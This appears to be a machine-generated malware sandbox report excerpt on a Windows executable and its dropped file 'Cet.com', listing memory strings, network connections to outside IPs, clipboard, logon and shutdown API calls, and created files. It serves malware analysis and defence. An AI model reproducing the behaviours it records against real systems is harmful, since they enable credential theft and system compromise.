Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_310.21.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_310.21.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000013.00000002.2676623352.0000512800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.
Source: chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000013.00000002.2676623352.0000512800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.om
Source: chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chromecache_306.21.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_306.21.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_306.21.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000013.00000003.2614447110.0000512800F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613858824.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613104033.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614378886.000051280140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614581226.0000512801304000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614475413.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2681202973.0000512801414000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614547335.00005128013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614003341.0000512801470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.GeV8o4Zu9xM.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614003341.0000512801470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.ibLFXwX0rCY.L.W.O/m=qmd
Source: Cet.com, 0000000D.00000002.3221872157.000000000616E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: Cet.com, 0000000D.00000002.3221872157.000000000616E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: Cet.com, 0000000D.00000002.3221872157.000000000616E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Cet.com, 0000000D.00000002.3218939111.0000000003C9B000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, m7yuk6.13.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000013.00000002.2671438491.00005128002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.5.153:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50136 version: TLS 1.2

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0035F7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

13_2_0035F7C7

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0035F55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

13_2_0035F55C

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_00379FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

13_2_00379FD2

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_00354763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

13_2_00354763

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_00341B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

13_2_00341B4D

Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0034F20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		13_2_0034F20D

Source: C:\Users\user\Desktop\1l1ohfybAf.exe	File created: C:\Windows\LawyerUsd	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	File created: C:\Windows\BooleanDow	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	File created: C:\Windows\ExemptEvil	Jump to behavior

Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00308017	13_2_00308017
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002FE144	13_2_002FE144
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002EE1F0	13_2_002EE1F0
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0031A26E	13_2_0031A26E
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002E22AD	13_2_002E22AD
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_003022A2	13_2_003022A2
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002FC624	13_2_002FC624
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0031E87F	13_2_0031E87F
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0036C8A4	13_2_0036C8A4
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00352A05	13_2_00352A05
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00316ADE	13_2_00316ADE
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00348BFF	13_2_00348BFF
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002FCD7A	13_2_002FCD7A
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0030CE10	13_2_0030CE10
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00317159	13_2_00317159
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002E9240	13_2_002E9240
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00375311	13_2_00375311
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002E74EF	13_2_002E74EF
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002E96E0	13_2_002E96E0
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00301704	13_2_00301704
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00301A76	13_2_00301A76
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_002E9B60	13_2_002E9B60
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00307B8B	13_2_00307B8B
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00301D20	13_2_00301D20
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00307DBA	13_2_00307DBA
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00301FE7	13_2_00301FE7

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\815387\Cet.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: String function: 00300DA0 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: String function: 002FFD52 appears 40 times
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: String function: 004062A3 appears 57 times

Source: 1l1ohfybAf.exe

Static PE information: invalid certificate

Source: 1l1ohfybAf.exe

Static PE information: Resource name: RT_VERSION type: 0420 Alliant virtual executable common library not stripped

Source: 1l1ohfybAf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1l1ohfybAf.exe

Static PE information: Section: .reloc ZLIB complexity 0.990478515625

Source: pp8q1n.13.dr

